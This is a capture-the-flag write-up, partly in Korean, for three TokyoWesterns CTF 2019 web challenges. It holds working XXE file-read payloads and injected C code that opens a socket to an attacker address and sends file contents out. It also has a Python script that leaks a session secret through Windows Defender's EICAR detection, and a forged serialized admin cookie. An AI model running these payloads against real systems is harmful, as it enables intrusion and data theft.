# TokyoWesterns CTF 2019 ## j2x2j This chall convert JSON to XML or XML to JSON. when convert XML to JSON, it is vulnerable to XXE. So, i can leak /etc/passwd or arbitrary file easily. ```xml <?xml version="1.0"?> <!DOCTYPE xxe [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root> &xxe; </root> ``` But, it is not working to leak php file with some error message "failed to decode xml". I think it can not parse to php file. (I don't know exactly how to parse this chall.) So, i use php protocol for leak **flag.php**. ```xml <?xml version="1.0"?> <!DOCTYPE xxe [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]> <root> &xxe; </root> ``` Finally, i got a flag. **FLAG** : TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere} ## Oneline Calc This chall consists of two flag. ### FLAG1 flag1 is in `calc.php`. It just support to simple calculation. We can think it was operated by eval. So, i try to eval injection. But, it's not working. After about 30 minutes, i recognize it is not php eval. Actually it is C eval, therefore I guess how it works as "PHP->C->PHP". But C is return uint_8 value, we can leak byte to byte. In order to leak all data once, i try to socket programming. it's careful because it have not macro or struct. Here is my Query: ```c mmap(0x60000000,1024,7,34,-1,0); socket(2,1,0); connect(3,"\x02\x00\x7a\x69\xc6\x0d\x33\xf4\x00\x00\x00\x00\x00\x00\x00\x00",16); dup2(3,0); dup2(3,1); dup2(3,2); fread(0x60000000,1,1024,fopen("/etc/passwd","r")); write(3,0x60000000,1024); ``` But, we can't leak source because of permission. Basically it have nobody permission. It can't open source code at running time. But during compile, it have www-data permission. So i use this code and get flag. This code is leak file during compile time as `file_start` variable. Query : ```c 123; %> __asm__(".globl file_start; file_start: .incbin \"/srv/olc/files/template.c\""); extern char file_start[]; __attribute__((constructor)) void setup1() <% socket(2,1,0); connect(3,%22\x02\x00\x7a\x69\xc6\x0d\x33\xf4\x00\x00\x00\x00\x00\x00\x00\x00%22,16); dup2(3,0); dup2(3,1); dup2(3,2); write(3,file_start,0x1000); %>; void g()<% int res=1; ``` ```php <?php // TWCTF{1nsecure_c0mpiling_with_C_78024f34fd92e04734533a7e174807da} /* Notification for flag2 - `/var/tmp` is the place for you to store some data where cannot be listed by others. - execute `/readflag2` to get flag (/flag2). */ require __DIR__ . '/../vendor/autoload.php'; require 'sse.php'; ini_set('display_errors', 'On'); define('OCDIR', '/var/tmp/oc'); define('TEMPLATE_PATH', __DIR__ . '/../files/template.c'); define('RUNNER_PATH', __DIR__ . '/../files/run'); class Calc { public function __construct($dir) { $this->tmp = tempnam($dir, 'oc'); $this->src = $this->tmp . '.c'; $this->bin = $this->tmp . '.bin'; system("touch \"{$this->src}\" \"{$this->bin}\""); system("chmod 0600 \"{$this->src}\" \"{$this->bin}\""); } private function template($formula) { $template = file_get_contents(TEMPLATE_PATH); if (!file_put_contents($this->src, str_replace('__FORMULA__', $formula, $template))) { sse_err('failed to template'); } } private function compile() { $proc = (new Ko\ProcessManager())->fork(function(Ko\Process $p) { chdir("/var/tmp/oc"); putenv("PATH=/usr/bin"); pcntl_exec('/usr/bin/gcc', [$this->src, '-o', $this->bin, '-lseccomp', '-pipe']); }); try { $proc->waitReady(); sse_msg('parsing'); } finally { $proc->wait(); } return $proc->getExitCode() === 0; } private function execute() { $proc = (new Ko\ProcessManager())->fork(function(Ko\Process $p) { pcntl_exec(RUNNER_PATH, [$this->bin]); }); try { $proc->waitReady(); sse_msg('evaluating'); } finally { $proc->wait(); } return $proc->getExitCode(); } public function eval($formula) { $this->template($formula); if(!$this->compile()) { sse_err('failed to parse'); } return $this->execute(); } private function sanitize($s) { $badchars = "\\\n\r\t "; foreach(str_split($badchars) as $c) { $s = str_replace($c, '', $s); } return $s; } private function escape($s) { $s = str_replace('..', '', $s); $badchars = '"`$'; foreach(str_split($badchars) as $c) { $s = str_replace($c, '\\'.$c, $s); } return $s; } public function __destruct() { $this->tmp = $this->sanitize($this->tmp); $this->src = $this->sanitize($this->src); $this->bin = $this->sanitize($this->bin); $this->tmp = $this->escape($this->tmp); $this->src = $this->escape($this->src); $this->bin = $this->escape($this->bin); system("rm \"{$this->tmp}\" \"{$this->src}\" \"{$this->bin}\""); } } $formula = $_GET['formula']; if (preg_match('/[\r\n\{\}#]/', $formula)) { sse_err('invalid char found'); } if (!file_exists(OCDIR)) { mkdir(OCDIR); } $calc = new Calc(OCDIR); sse_msg($calc->eval($formula)); sse_close(); ``` **FLAG** : TWCTF{1nsecure_c0mpiling_with_C_78024f34fd92e04734533a7e174807da} Extra: Is this chall really web chall? I dont understand it. fucking seccomp. ```php // file/templete.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <seccomp.h> __attribute__((constructor)) void setup() { scmp_filter_ctx ctx; if (NULL == (ctx = seccomp_init(SCMP_ACT_ALLOW))) { exit(-1); } seccomp_arch_add(ctx, SCMP_ARCH_X86_64); seccomp_arch_remove(ctx, SCMP_ARCH_X86); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(kill), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(tkill), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(tgkill), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(alarm), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0); if (seccomp_load(ctx) < 0) { exit(-1); } } int main() { sleep(1); int res = __FORMULA__; return res; } ``` ### FLAG2 I'm groot. I retire this. ## PHP Note 기본적으로 이 웹 페이지는 소스코드를 제공해준다. URL : http://phpnote.chal.ctf.westerns.tokyo/?action=source ```php class Note { public function __construct($admin) { $this->notes = array(); $this->isadmin = $admin; } ... public function getflag() { if ($this->isadmin === true) { echo FLAG; } } } ... if (is_login()) { $realname = $_SESSION['realname']; $nickname = $_SESSION['nickname']; $note = @verify($_COOKIE['note'], $_COOKIE['hmac']) ? unserialize(base64_decode($_COOKIE['note'])) : new Note(false); } ... ``` 음.. 취약점은 unserialize가 확실한데, secret값이 필요하다. ### Secret Leak 근데 여기서 문제가 소스코드에 취약점이 존재하지 않는다. 서버 환경을 보면 어딘가가 이상한 점을 알 수 있다. 평소라면 `Linux + PHP` 환경일텐데, `IIS + PHP`라는 특이한 형태를 하고있다. 윈도우에서만 발생하는 취약점이라는 것을 알 수 있다. 그리하여 PHP Core파일을 분석해본 결과, 해당 소스코드에서 사용되는 코드는 취약점이 존재하지 않았다. 자 취약점이 없는 웹 문제를 풀어보자. Windows에는 **Windows Defender**가 기본적으로 동작한다. 안티바이러스를 위한 도구는 보통 악성 스크립트를 탐지하고 이를 제거해준다. 보통 패턴매칭 또는 특정한 시그니쳐로 판별하는 경향이 있다. 또한 악성 스크립트라함은 바이너리일수도있지만, html일 수도 있다. 그래서 **Windows Defender**는 javascript를 eval하여 악성 스크립트인지 판단을 한다. 악성 스크립트라 판단되면 해당 파일을 제거한다. 소스코드에는 취약점이 없다. 서버도 취약점이 없다. OS도 취약점이 없다. 하지만 특정한 파일에 원하는 내용을 넣을 수 있다면 **Windows Defender**를 이용해 파일을 지울 수 있다. PHP 환경에서 우리가 쓸 수 있는 파일이 존재할 것이다. 누구다 다 알듯이 SESSION파일이다. Login하는 부분을 보자. ```php if ($action === 'login') { if ($method === 'POST') { $nickname = (string)$_POST['nickname']; $realname = (string)$_POST['realname']; if (empty($realname) || strlen($realname) < 8) { die('invalid name'); } $_SESSION['realname'] = $realname; if (!empty($nickname)) { $_SESSION['nickname'] = $nickname; } $_SESSION['secret'] = gen_secret($nickname); } redirect('index'); } ``` 아름답다. 인자가 3개나 존재하는데, 딱 보면 알다시피 순서를 조정할 수 있다. 우리는 secret를 Leak할거니까 secret을 가운데 둬야 한다. 다들 다시겠지만 정렬은 다음과 같이 할 수 있다. 우선 login을 nickname없이 한번 수행하면 session은 realname과 secret값을 차례로 가지고 있을 것이다. 그 다음 nickname을 넣은 후 로그인하면 realname, secret, nickname 순으로 정렬된다. 자 이제 내용이 중요하다. **Windows Defender**에 대해서는 다음과 같이 간단하게 설명할 수 있다. 우선 아래의 내용은 악성코드의 내용의 일부이며, 실제로 이를 탐지하였을 경우 삭제된다. ``` X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* ``` 당연히 저렇게 있으면 탐지될 것이다. 이제 몇개의 케이스르 보자. ```javascript // detected eval("X5O!P%%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"); ``` ```javascript // detected eval("X5O!P%%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+"*"); ``` ```javascript // when `what` is set, then dectected // else, then not detected. if(what) eval("X5O!P%%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+"*".repeat(what)); ``` 여기까지 보면 각이 나온다. **Windows Defender**는 javscript를 실행하므로 이를 이용하여 데이터를 한 글자씩 추출할 것이다. 사용할 코드의 형태는 다음과 같다. ```html <!-- idx : 0~length, pivot : range of ascii. --> <script> var q=document.body.innerHTML; var n=q[idx].charCodeAt(0); var a='X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H'; var mal = a+{pivot:'*'}[Math.min(pivot,n)]; eval(mal) </script> <body> Leak DATA </body> ``` 이 코드를 보면 아까 왜 SESSION을 정렬했는지 알 수 있다. realname과 nickname는 우리가 조작할 수 있는데, secret은 조작할 수 없으며, 우리가 추출할 값이다. secret을 추출할 때 사용한 공격코드는 다음과 같다. ```python import requests url = "http://phpnote.chal.ctf.westerns.tokyo/?action=login" query = lambda idx,pivot:'''<script>var q=document.body.innerHTML;var n=q[%d].charCodeAt(0);var a='X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H';var mal = a+{%d:'*'}[Math.min(%d,n)];eval(mal)</script><body>'''%(idx,pivot,pivot) leak = '' for idx in range(0,100): l = 0 h = 256 while h-l > 1: pivot = (l+h)/2 # print idx,l,h,pivot data = { "nickname":"", "realname":query(idx,pivot) } # print query(idx,pivot) headers = { "Content-Type":"application/x-www-form-urlencoded", } cookies = { "PHPSESSID":"fd515b47ed85a65c73cc5e7b7e404dd5" } s = requests.session() # for align serialize variable order as `username | secret | nickname`. r = s.post(url,data=data,headers=headers) data = { "nickname":"</body>shsh01", "realname":query(idx,pivot) } # check whether or not antivirus detected query pattern. # So, if it detected by antvirus, then you would be not login because your session was deleted by antivirus. r = s.post(url,data=data,headers=headers) if '/?action=login' in r.text: l = pivot else: h = pivot leak += chr(l) print leak ``` 위 코드를 실행하여 nickname이 `</body>shsh01`일때의 secret값을 얻었다. ``` bosycret|s:32:"8a18fedde2884cfe02a3b78eaf6fb477";nickname|s:13:" ``` Secret : 8a18fedde2884cfe02a3b78eaf6fb477 ### Get FLAG 이제 이를 가지고 unserialize공격을 하면 플래그를 얻을 수 있다. 공격은 간단하게 Note Object에서 isadmin을 true로 바꿔주면 된다. **note** : Tzo0OiJOb3RlIjoyOntzOjU6Im5vdGVzIjthOjE6e2k6MDthOjI6e2k6MDtzOjE6IjEiO2k6MTtzOjE6IjEiO319czo3OiJpc2FkbWluIjtiOjE7fQ== **hmac** : bf9b5e1b36d1e62e43f605f408d36f09641fa9031dc18aeea57431c99e156acc 이를 넣고 `/?action=getflag`에 들어가면 플래그를 얻을 수 있다. **FLAG** : TWCTF{h0pefully_I_haven't_made_a_m1stake_again}